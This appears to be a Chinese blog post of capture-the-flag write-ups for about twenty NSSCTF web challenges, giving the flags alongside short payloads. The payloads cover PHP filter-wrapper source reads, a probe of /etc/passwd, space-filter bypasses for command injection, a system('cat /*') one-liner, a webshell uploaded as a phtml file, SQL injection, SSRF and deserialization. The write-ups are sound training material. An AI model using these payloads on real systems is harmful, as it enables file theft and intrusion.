NSSCTF-Web详细完整题解(前64)

只要有空就会更新    ------2024-01-05   21:41:58


ID:382  [SWPUCTF 2021 新生赛]gift_F12

页面很好看,但是没有什么用,F12直接查找flag。

得到flag:

WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}

ID:384  [SWPUCTF 2021 新生赛]jicao

该题接受2个POST的传参,其中$_GET['json']应是json格式的.这里具体查找json_decode()的用法,json_decode()

于是我们构造payload为?json={"x":"wllm"},post传参id="wllmNB" 注意必须为双引号。

得到flag:NSSCTF{d85ea3d0-d2a8-45d6-9551-0bf48cfa92da}


ID:386  [SWPUCTF 2021 新生赛]easy_md5

 

题目接受1个GET传参和1个POST传参,分别是name和password,要求name和password弱比较的时候不同,而md5值相同 

php中数组经过MD5后都是null,所以可以用数组进行绕过。

payload:http://node5.anna.nssctf.cn:28973/?name[]=1,并且POST传参password[]=2

得到flag:NSSCTF{cd70e7a9-ab4d-4211-8ad8-b7596b254f62}


ID:427   [SWPUCTF 2021 新生赛]include

既然他让我们传一个file,我们就用get传参,http://node4.anna.nssctf.cn:28814/?file=flag,得到以下

可以看到有include_once,先试一下?file=/etc/passwd,有回显,说明有文件包含,可以用filter伪协议,?file=php://filter/read=convert.base64-encode/resource=./flag.php  

得到base64后的
PD9waHANCiRmbGFnPSdOU1NDVEZ7YTZhngjmzwetmwm5ys00ywm5ltk3ytqtnju2mzy2ywiwzmi5fsc7 ,不知道为什么解不出来,乱码。我知道原因了,因为我开了自动翻译!

PD9waHANCiRmbGFnPSdOU1NDVEZ7YTZhNGJmZWEtMWM5YS00YWM5LTk3YTQtNjU2MzY2YWIwZmI5fSc7    正确应是这个。base64解码后得到flag.

<?php
$flag='NSSCTF{a6a4bfea-1c9a-4ac9-97a4-656366ab0fb9}';

ID:387  easysql

右键发现提示:

初步判断是字符型注入

sqlmap跑一下:

 NSSCTF{d666520c-cd11-4339-a877-899074f24815}


ID:424  [SWPUCTF 2021 新生赛]easyrce

非常简单的rce漏洞

NSSCTF{4d4a7cf8-4e1c-4517-8954-34ab7d7142a0} 


ID:383  [SWPUCTF 2021 新生赛]caidao

进入到页面,发现会执行POST传进去的参数。

跟上题一样的逻辑:NSSCTF{f265a294-5496-46b6-8a76-2294a7890fe4} 


ID:385  [SWPUCTF 2021 新生赛]Do_you_know_http

先复习一下:

Host:指定所访问的域名
Referer:告知服务器该请求是从哪里过来的
User-Agent:浏览器特征说明,包括当前用户所有的操作系统以及浏览器的类型和版本号,方便网站来呈现出适合当前用户的前端展示效果
Cookie:存储用户的状态信息
X-Forwarded-For/Client-Ip/X-Real-IP:都可以用来伪造本地访问
via: Clash.win

于是我们把UA改成WLLM,

那么我们就添加一个X-Forwarded-For:127.0.0.1

Flag:NSSCTF{d53761b0-44b4-49a7-9386-c32654a4af50}


ID:344  [第五空间 2021]WebFTP

进去是这个页面,试过各种弱密码都不行。

信息搜集,GitHub - wifeat/WebFTP: WebFTP为 OSDU.Net 开发的PHP在线文件管理系统,系统采用Ajax+Json进行数据通信,毫秒级的响应速度,强大的文件管理功能足以媲美专业的FTP软件;

在这个网站中找到账号和密码,然后直接登陆。

这个目录是这个网站的后台界面,我们查看phpinfo.php找到flag!

flag:NSSCTF{38c4b3f5-8e23-4d05-99c2-41b70604b742


ID:425  [SWPUCTF 2021 新生赛]babyrce

首先要传入一个cookie,值为1

可以知道过滤了空格。

以下是过略空格的绕过方法。

` 1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以` 

`2.${IFS},$IFS$9,$IFS

`3.控制字符代替,%09(tab),%0a`

`4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}

就是用${IFS}吧,

再用cat命令得到flag:NSSCTF{ff4cfb06-ad80-4de3-a115-959a44b9bcaf} 


ID:426  [SWPUCTF 2021 新生赛]ez_unserialize

目录扫描一下吧!

扫到一个flag.php,但是什么内容都没有

用御剑扫,

访问robots.txt,不知道dirsearch为什么没有扫到,又扫了一次,发现了!

直接访问c145s.php,得到题目,

非常简单的反序列化,只要修改admin和passwd就行。

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }

}

$a=serialize(new wllm());
echo urlencode($a);

?> 

ID:423  [SWPUCTF 2021 新生赛]easyupload2.0

题目要求传一个文件,传图片可以,但是传php不行。

先试下文件类型绕过

改类型不行,但是可以上传phtml文件。

于是传一个小马上去

app中有flag.php


ID:388  [SWPUCTF 2021 新生赛]easyupload1.0

这道题只要改一下抓包文件类型就行了


ID:3861  [LitCTF 2023]我Flag呢?

进来就是少儿不宜的画面,哪里找flag呢。右键查看源码就能找到。


ID:429  [SWPUCTF 2021 新生赛]no_wakeup

很简单的反序列化的题,这里就不过多赘述了。


ID:441  [SWPUCTF 2021 新生赛]PseudoProtocols

目录扫描,但是什么都没有。既然题目给参数。就试试伪协议吧。

/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

解码后得到<?php
//go to /test2222222222222.php
?>

<?php
ini_set
("max_execution_time""180");
show_source(__FILE__);
include(
'flag.php');
$a$_GET["a"];
if(isset(
$a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo 
"success\n";
    echo 
$flag;
}
?>

代码审计,file_get_contents可以用php://input.或者是data协议


ID:2011  [NISACTF 2022]easyssrf

既然是SSRF,试试能不能直接访问flag,访问一下http://127.0.0.1/flag.php。

用file协议查看,

<?php

highlight_file
(__FILE__);
error_reporting(0);

$file $_GET["file"];
if (
stristr($file"file")){
  die(
"你败了.");
}

//flag in /flag
echo file_get_contents($file);

用php://filter伪协议查看


ID:3865  [LitCTF 2023]PHP是世界上最好的语言!!

在右面输入这个,<?php system('cat /*');?>

得到flag:NSSCTF{db364d12-845d-4e56-8b0d-d8d63c8098da}



ID:19  [suctf 2019]EasySQL

后端的语句相当于,select 输入内容 || flag from Flag。这里的||相当于或。(为什么呢?因为输入0不回显,输入1回显。)

但是在sql中||应该是一个连接符。我们可以设置一下。

1;set sql_mode=PIPES_AS_CONCAT;select 1

第二种方法:输入*,1


ID:22 [ZJCTF 2019]NiZhuanSiWei

<?php  
$text 
$_GET["text"];
$file $_GET["file"];
$password $_GET["password"];
if(isset(
$text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo 
"<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(
preg_match("/flag/",$file)){
        echo 
"Not now!";
        exit(); 
    }else{
        include(
$file);  //useless.php
        
$password unserialize($password);
        echo 
$password;
    }
}
else{
    
highlight_file(__FILE__);
}
?>

第一个用input伪协议绕过

第二个暗示我们查看useless.php。

我们用filter协议查看源码。

获取到useless的源码。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

very easy的反序列化。

<?php

class Flag{ //flag.php
public $file;
public function __construct(){
$this->file='flag.php';
}
}

echo urlencode(serialize(new Flag()));
?>

注意要把useless.php改回去。

flag:NSSCTF{bf159420-e407-496c-949a-f65b329e151f}



 

 

 

posted @ 2024-01-05 21:41  AllFalls  阅读(436)  评论(0编辑  收藏  举报